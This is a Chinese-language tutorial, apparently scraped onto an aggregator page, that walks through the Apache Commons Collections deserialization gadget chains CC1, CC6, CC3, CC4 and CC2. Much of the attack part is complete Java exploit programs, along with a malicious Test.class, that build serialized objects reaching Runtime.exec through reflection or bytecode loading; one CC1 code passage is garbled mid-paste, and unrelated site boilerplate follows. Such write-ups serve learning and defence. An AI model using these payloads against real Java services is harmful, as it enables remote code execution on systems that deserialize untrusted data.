Commons Collections利用链

您所在的位置:网站首页 Commons IO 132 利用链 Commons Collections利用链

Commons Collections利用链

2024-07-18 03:33:24| 来源: 网络整理| 查看: 265

Commons Collections 背景介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Collections的包结构和简单介绍: org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类 org.apache.commons.collections.bag – 实现Bag接口的一组类 org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类 org.apache.commons.collections.buffer – 实现Buffer接口的一组类 org.apache.commons.collections.collection –实现java.util.Collection接口的一组类 org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类 org.apache.commons.collections.functors –Commons Collections自定义的一组功能类 org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类 org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类 org.apache.commons.collections.list – 实现java.util.List接口的一组类 org.apache.commons.collections.map – 实现Map系列接口的一组类 org.apache.commons.collections.set – 实现Set系列接口的一组类 反序列化利用原理

image-20211121153021722

CC1利用链 关键类

为了理解 CC1反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。

在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。

image-20220329222444638

其中有众多类实现了此接口,CC1 中主要利用到了以下三个。

InvokerTransformer

其 transform 方法实现了通过反射来调用某方法,可以看到transform方法,接收input对象,然后反射调用,参数全是可以控制的,这个方法特别像是一个后门的写法:

image-20220329222741960

ConstantTransformer

其 transform 方法将输入原封不动的返回:

image-20220329223025215

ChainedTransformer

其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:

image-20220329223151492

利用链 TransformedMap 调用过程

完整的调用过程链如下

ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() TransformedMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

首先改写调用exec方法

//正常写法 Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); //改成反射调用 Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method exec = c.getDeclaredMethod("exec", String.class); exec.invoke(r,"open /System/Applications/Calculator.app");

然后改成InvokerTransformer的写法

Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

然后跟进到transform方法中找看谁调用了transform,可以选择Find Usages进行查找

image-20220329225726789

这里我们可以看到有21个调用,这里最后我们找到Map类,找到LazyMap和TransformedMap都直接调用了transform,先尝试TransformedMap

image-20220329234702987

首先看TransformedMap,valueTransformer调用了transform

image-20220330194534280

然后查看valueTransformer构造函数,由于是由protected修饰的,只能自己调用自己,看谁调用了

image-20220330194804345

找到个静态方法decorate直接调用了TransformedMap,这里就可以直接创建个TransformedMap

image-20220330195209634

因为是要调用valueTransformer的transform,所以只需要给valueTransformer赋值就行

//Runtime.getRuntime().exec("calc"); Runtime r = Runtime.getRuntime(); //Class c = Runtime.class; //Method execMethod = c.getMethod("exec", String.class); //execMethod.invoke(r,"calc"); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap map = new HashMap(); //invokerTransformer.transform(value) TransformedMap.decorate(map,null,invokerTransformer);

然后继续向下找,看谁调用了checkSetValue,发现在MapEntry类,里面调用了setValue然后调用checkSetValue

Entry是一个静态内部类

map遍历时可以使用Entr

这里实际上就是重写了Entry里的setValue

image-20220330200427129

MapEntry继承了AbstractMapEntryDecorator

然后AbstractMapEntryDecorator继承了Map.Entry

image-20220330200506284

image-20220330200517065

所以只要遍历TransformedMap,调用setValue,就会走到MapEntry的setValue里的setValue

Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //invokerTransformer.transform(value) HashMap map = new HashMap(); map.put("key","value"); Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }

调用成功

image-20220330201018240

然后继续向下找,看谁调用了setValue,最后是找到AnnotationlnvocationHandler类里的readObject调用了setValue

image-20220330201400435

这里遍历memberValues的值,然后调用了setValue方法

image-20220331211722717

然后在构造函数的参数中可以得知memberValues是可控的,可以放我们想放的值

image-20220331212022485

但是因为类没写是public的,那在Java里面这就是default类型的,也就是说只有在包底下才能访问到,不能直接获取,这样的话那我们就必须用反射去获取

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

由于Runtime r = Runtime.getRuntime();不能反序列化,必须写成能序列化的形式

正常反射写法

Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime", null); Runtime r = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r, "calc");

改写成InvokerTransformer的形式

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

然后在之前了解到的一个关键的类ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行简写

Transformer[] transformers=new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);

然后这就能得出代码

Transformer[] transformers=new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put("key","value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap); serialize(o); unserialize("ser.bin");

但是执行不成功,经调试可以发现这其中还存在两个问题:

image-20220331224613660

首先Map c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220331231843300

利用链 LazyMap 调用过程

完整的调用过程链如下

ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

其实LazyMap这一条利用链的后半部分和TransformedMap利用链的是一样的,只是把前面调用transform的TransformedMap换成LazyMap

image-20220401142334463

image-20220401142540488

然后向上找看谁调用了get方法,在AnnotationInvocationHandler中的invoke方法中找到可以利用的get方法,然后调用invoke必须要把它放到一个动态代理里面

image-20220401142932772

在自己这里面就直接放一个map就行了,这里就放LazyMap就行了,LazyMap中有两个decorate方法,我们这里调用传Transformer的这个方法就行了

image-20220401143855391

然后动态代理的写法是一样的

HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy); 完整利用代码 public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220401150444674

CC6利用链 关键类

TiedMapEntry

在TiedMapEntry中的hashCode()函数中的getValue()方法中调用了get()方法,然后我们map用LazyMap就行了,剩下后半部分的就个CC1的LazyMap利用链是一样了

image-20220401171335640

image-20220401171539112

调用过程

完整的调用过程链如下

java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()

因为TiedMapEntry是一个public的类所以可以直接new出来,直接传map进去,然后key就先随便填

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

然后就new一个HashMap把他放进去

HashMap map2 = new HashMap(); map2.put(tiedMapEntry,"bbb");

但是会发现这个在序列化的过程中就会触发,因为在put方法中也调用了hash

image-20220401173651232

所以我们这需要像URLDNS利用链通过反射改其中的值,我们可以先把LazyMap中改为空,然后在put之后再改回来

image-20220401174340615

这样序列化的时候就没有触发了,但是在反序列化的时候也没触发了,这个其实和之前URLDNS利用链是一样原理的,在put的时候就把hash给消耗掉了

image-20220401200300323

在这里之前是没有key的,但是执行完transform之后就把key放进去了,那我们只要把key去掉也就行了

lazyMap.remove("aaa"); 完整利用代码 public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap map2 = new HashMap(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa"); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); //serialize(map2); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220401200606153

CC3利用链 优点

如果说只过滤Runtime的话可以换一种方式执行

利用链 InvokerTransformer 调用过程

与之前CC1和CC6的利用链不同的是:

​ CC1和CC6用的是直接命令调用,CC2、CC3、CC4是通过动态类加载的方式来执行一些自己定制的代码

动态类加载是在defineClass通过字节码的方式进行的类的加载

image-20220401202020403

但是只做类加载的话是不会执行代码的,所以我们还需要一个 初始化的地方,defineClass是一个protected的,所以我们调用他的话需要找到一个重写他然后是public的地方,然后是找到com.sun.org.apache.xalan.internal.xsltc.trax包下存在一个没有标作用域的(default)

image-20220401202658689

然后查看这个的调用,可以看到这里是自己的defineTransletClasses函数里面进行了调用,但是这是一个private的

image-20220401203204732

然后继续找,找到getTransletInstance方法,这里面调用了newInstance,这是初始化的过程

image-20220401203840673

然后继续找这个getTransletInstance的调用,然后找到TemplatesImpl类中的newTransformer这个函数,这是public的

image-20220401204103074

TemplatesImpl这个类继承继承了Serializable,也就是说可以序列化,那么这里面的所有的变量都是可以控制的

image-20220401204510426

TemplatesImpl templates = new TemplatesImpl(); templates.newTransformer();

这样的话执行的逻辑就基本上走完了,但是里面还有很多的值没有赋,那么就跟进一下看要赋那些值

image-20220401204815770

这里的话不赋值应该也是可以直接进入getTransletInstance函数的,所以我们直接跟进函数里面

image-20220401204951694

image-20220401205019622

结合无参构造函数来看,什么也没干,所以我们是要自己赋值的,首先,因为if (_name == null) return null;,所以_name是需要赋值的,然后因为if (_class == null) defineTransletClasses();,而且我们就是要进入defineTransletClasses,所以_class不能赋值,然后进入defineTransletClasses

image-20220401205507615

因为

if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }

如果_bytecodes 为空的话就直接抛异常了,所以_bytecodes 我们是需要赋值的,然后return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这里是要_tfactory是要掉方法的,所以这里我们也需要赋值

_name赋值

Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa");

通过反射调用直接赋值

_bytecodes赋值

首先看这应该赋一个什么样的值

image-20220401211208881

这里可以看出这是一个二维数组,但是类加载的时候实际上传的是一个一维的数组,查看调用可以得知,这里通过了一个for循环将其中每一个进行调用

Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes);

Test.class

import java.io.IOException; public class Test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }

_tfactory赋值

_tfactory被标记为transient,也就是说不可以序列化的,所以我们现在给他赋值是没有意义的,反序列的时候也是传不进去的

image-20220401211840196

我们先随便给他传一个值,看看效果

image-20220401212509644

这里报了一个空指针异常,这里我们跟进去断点调试一下

image-20220401212644556

_bytecodes这里不是null,我们赋了值

image-20220401212759127

_tfactory这里也不是null,我们赋了值

image-20220401212850800

然后其实类加载也已经成功加载进来了,继续向下调试

image-20220401212953399

最终发现在这个地方_auxClasses为空,这里报了空指针异常,这里我们让他进入到if中

Test.java改写成

import java.io.IOException; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

image-20220401214303610这里我们就调用成功了,然后接下来的调用就如同CC1中一样

ransformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);

image-20220401214840138

之后的部分也都的不用改,可以直接用CC1的

完整利用代码 public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1); HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220401215125787

利用链 TrAXFilter

在之前InvokerTransformer链的基础上,在找到newTransformer之后再找,找到TrAXFilter类,在这个类我们可以看到他的构造函数直接传了一个Templates进去,然后直接调用他的newTransformer,也就是说我们可以调用他的构造函数的话,我们也可以成功的执行代码

image-20220401220611290

关键类

InstantiateTransformer

这就是一个调用构造函数的类

image-20220401221455338

调用过程

将CC3的InvokerTransformer调用链中的

Transformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);

替换成

Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 完整利用代码 public class CC3_TrAXFilter { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //instantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(1); HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220401222707886

CC4利用链 调用过程

CC4是commons collections4里面的问题,但是和之前基本上没太大的变化,最后的执行代码还是反射调用执行和类加载执行这两种,只是中间的调用链发生点改变

因为问题还是在commons collections里面,我们继续从transform的调用入手,最后我们找到TransformingComparator类,一方面他调用了transform方法,另一方面,它可以序列化,然后它是一个比较常见的方法

image-20220402094044968

在compare(比较器)中进行的调用

image-20220402094320932

然后了解到在PriorityQueue(优先队列)中的readObject在最终的siftDownUsingComparator函数对compare进行了调用

image-20220402094711632

后半部分的调用是一样

TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };

然后就是怎么执行到这里面了

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); serialize(priorityQueue); unserialize("ser.bin");

但是执行之后无事发生,在PriorityQueue的readObject函数中的heapify方法处下一个断点调试查看问题

image-20220402100118211

然后进入函数,可以看到size为0,而且size >>> 1 ---->0,所以就直接没进入if中的函数

image-20220402100145100

给队列中添加两个值

priorityQueue.add(1); priorityQueue.add(2);

执行报错

image-20220402100652535

这其实是我们之前老问题,_tfactory在反序列化的时候才会加进来,本地执行的时候并没有进行反序列化,所以报错

Field tfactoryField = tc.getDeclaredField(" "); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer();

加进来之后就不会报错了,成功弹出计算器

image-20220402100937220

但是我们本意也不是让他在本地执行,所以我们就先将他绕过(先传一个没有意义的值,然后再改回来)

image-20220402101459701

完整利用代码 public class CC4 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); //Field tfactoryField = tc.getDeclaredField("_tfactory"); //tfactoryField.setAccessible(true); //tfactoryField.set(templates,new TransformerFactoryImpl()); //templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220402101648571

CC2利用链

CC2也是commons collections4里面的问题,CC2和CC4之前其实区别不大,之前的入口点和最后执行代码的地方也没有改,CC2是生成TemplatesImpl之后直接调newTransformer执行代码,不走中间实例化的过程

完整利用代码 public class CC2 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } } 代码执行效果如下

image-20220402102928139



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


    图片新闻

    实验室药品柜的特性有哪些
    实验室药品柜是实验室家具的重要组成部分之一,主要
    小学科学实验中有哪些教学
    计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
    实验室各种仪器原理动图讲
    1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
    高中化学常见仪器及实验装
    1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
    微生物操作主要设备和器具
    今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
    浅谈通风柜使用基本常识
     众所周知,通风柜功能中最主要的就是排气功能。在

    专题文章

      CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭